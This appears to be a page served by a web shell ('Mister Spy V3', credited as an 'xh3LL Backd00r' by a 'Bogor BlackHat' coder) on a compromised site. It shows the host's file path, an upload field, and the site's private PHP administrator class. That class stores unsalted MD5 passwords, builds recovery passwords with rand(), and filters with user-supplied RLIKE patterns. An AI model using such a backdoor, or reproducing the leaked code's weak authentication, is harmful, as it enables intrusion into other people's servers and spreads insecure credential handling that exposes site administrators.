Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.administradores.php

<?php 

require_once('class.dbaccess.php');
require_once('class.administrador.php');

class Administradores extends DBAccess
{
	public function ParseFilter(array $filter)
	{
		$sql = '';
		
		if ((isset($filter['Administrador'])) && ($filter['Administrador'] != ''))
		{	
			$sql.= " AND Administrador RLIKE '" . DB::StringUnquoted($filter['Administrador']) . "'";
		}
		
		if ((isset($filter['Email'])) && ($filter['Email'] != ''))
		{	
			$sql.= " AND (u.Email RLIKE '" . DB::StringUnquoted($filter['Email']) . "'";
			$sql.= " OR Email IS NULL)";
		}

		if ((isset($filter['IdPerfil'])) && ($filter['IdPerfil'] != ''))
			$sql.= " AND IdPerfil = " . DB::Number($filter['IdPerfil']);
			
		return $sql;
	}	
	public function GetByCredentials($Administrador,  $Contrasenia)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblAdministradores";
		$sql.= " WHERE Eliminado = 0 AND (Administrador = " . DB::String($Administrador);
		$sql.= " OR Email = " . DB::String($Administrador) . ")";
		$sql.= " AND Contrasenia = MD5(" . DB::String($Contrasenia) . ")";		
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;

		if ( !($oRow = $oRes->GetRow()) )
			return false;
		
		$oAdministrador = new Administrador();
		$oAdministrador->ParseFromArray($oRow);
		
		return $oAdministrador;		
	}
	
		
	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblAdministradores";
		$sql.= " WHERE Eliminado = 0";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY Administrador";
		$sql.= ($oPage) ? Pageable::ParsePage($oPage) : "";
						
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oAdministrador = new Administrador();
			$oAdministrador->ParseFromArray($oRow);
			
			array_push($arr, $oAdministrador);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}

	
	public function GetCountRows(array $filter = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblAdministradores";
		$sql.= " WHERE Eliminado = 0";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY Administrador";

		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
	
	
	public function GetById($IdAdministrador)
	{
		$sql = "SELECT a.*";
		$sql.= " FROM tblAdministradores a";
		$sql.= " WHERE a.IdAdministrador = " . DB::Number($IdAdministrador);	
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oAdministrador = new Administrador();
		$oAdministrador->ParseFromArray($oRow);
		
		return $oAdministrador;		
	}
	
	
	public function GetByNombre($Nombre)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblAdministradores";
		$sql.= " WHERE Administrador = " . DB::String($Nombre);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oAdministrador = new Administrador();
		$oAdministrador->ParseFromArray($oRow);
		
		return $oAdministrador;		
	}
	
	
	public function GetByEmail($Email)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblAdministradores";
		$sql.= " WHERE Eliminado = 0";
		$sql.= " AND Email = " . DB::String($Email);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oAdministrador = new Administrador();
		$oAdministrador->ParseFromArray($oRow);
		
		return $oAdministrador;		
	}
	
	
	public function CheckPerm(Administrador $oAdministrador, $IdModulo)
	{
		$sql = "SELECT COUNT(1) AS Count";
		$sql.= " FROM tblAdministradores a";
		$sql.= " LEFT JOIN tblPerfilModulos pm ON a.IdPerfil = pm.IdPerfil";
		$sql.= " WHERE Eliminado = 0";
		$sql.= " AND a.IdAdministrador = " . DB::Number($oAdministrador->IdAdministrador); 
		$sql.= " AND pm.IdModulo = " . DB::Number($IdModulo);

		if ( !($oRes = $this->GetQuery($sql)) )
			return false;

		if ( !($oRow = $oRes->GetRow()) )
			return false;

		if ($oRow['Count'] == 0)
			return false;

		return true;
	}
	
	
	public function Create(Administrador $oAdministrador)
	{
		$arr = array
		(
			'IdPerfil' 		=> DB::Number($oAdministrador->IdPerfil),
			'Administrador' => DB::String($oAdministrador->Administrador),
			'Email' 		=> DB::String($oAdministrador->Email),
			'Contrasenia' 	=> DB::String(md5($oAdministrador->Contrasenia)),
			'Eliminado'		=> DB::Bool(0)
		);

		if (!$this->Insert('tblAdministradores', $arr))
			return false;
			
		return $oAdministrador;
	}
	
	
	public function Update(Administrador $oAdministrador)
	{
		$where = " IdAdministrador = " . DB::Number($oAdministrador->IdAdministrador);
		
		$arr = array
		(
			'IdPerfil' 		=> DB::Number($oAdministrador->IdPerfil),
			'Administrador' => DB::String($oAdministrador->Administrador),
			'Email' 		=> DB::String($oAdministrador->Email),
			'Contrasenia' 	=> DB::String(md5($oAdministrador->Contrasenia)),
			'Eliminado'		=> DB::Bool($oAdministrador->Eliminado)
		);
		
		if (!DBAccess::UpdateEntidad('tblAdministradores', $arr, $where))
			return false;
		
		return $oAdministrador;
	}
	
	
	public function ChangePassword(Administrador $oAdministrador)
	{
		$where = " IdAdministrador = " . (int)$oAdministrador->IdAdministrador;
		
		$arr = array('Contrasenia' => DB::String(md5($oAdministrador->Contrasenia)));
		
		if (!DBAccess::UpdateEntidad('tblAdministradores', $arr, $where))
			return false;
		
		return $oAdministrador;
	}
	

	public function Delete($IdAdministrador)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdAdministrador = " . DB::Number($IdAdministrador);
		
		$arr = array
		(
			'Eliminado'		=> DB::Bool(1)
		);
		
		if (!DBAccess::UpdateEntidad('tblAdministradores', $arr, $where))
			return false;
			
		DBAccess::$db->Commit();
		
		return true;	
	}
	
	
	public function RecoveryPassword(Administrador $oAdministrador)
	{
		$str 	= "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
		$Pass 	= "";
	
		for($i=0; $i<10; $i++)
		{
			$Pass .= substr($str, rand(0, 62), 1);
		}
	
		$oAdministrador->Contrasenia = $Pass;
		
		$arr = array('Contrasenia' => DB::String(md5($oAdministrador->Contrasenia)));

		$where = " IdAdministrador = " . (int)$oAdministrador->IdAdministrador;
		if (!DBAccess::UpdateEntidad('tblAdministradores', $arr, $where))
			return false;

		/* envia mail indicando cambio de contraseƒa */
		$oAdministrador->SendMailChangePassword();
		
		return $oAdministrador;
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat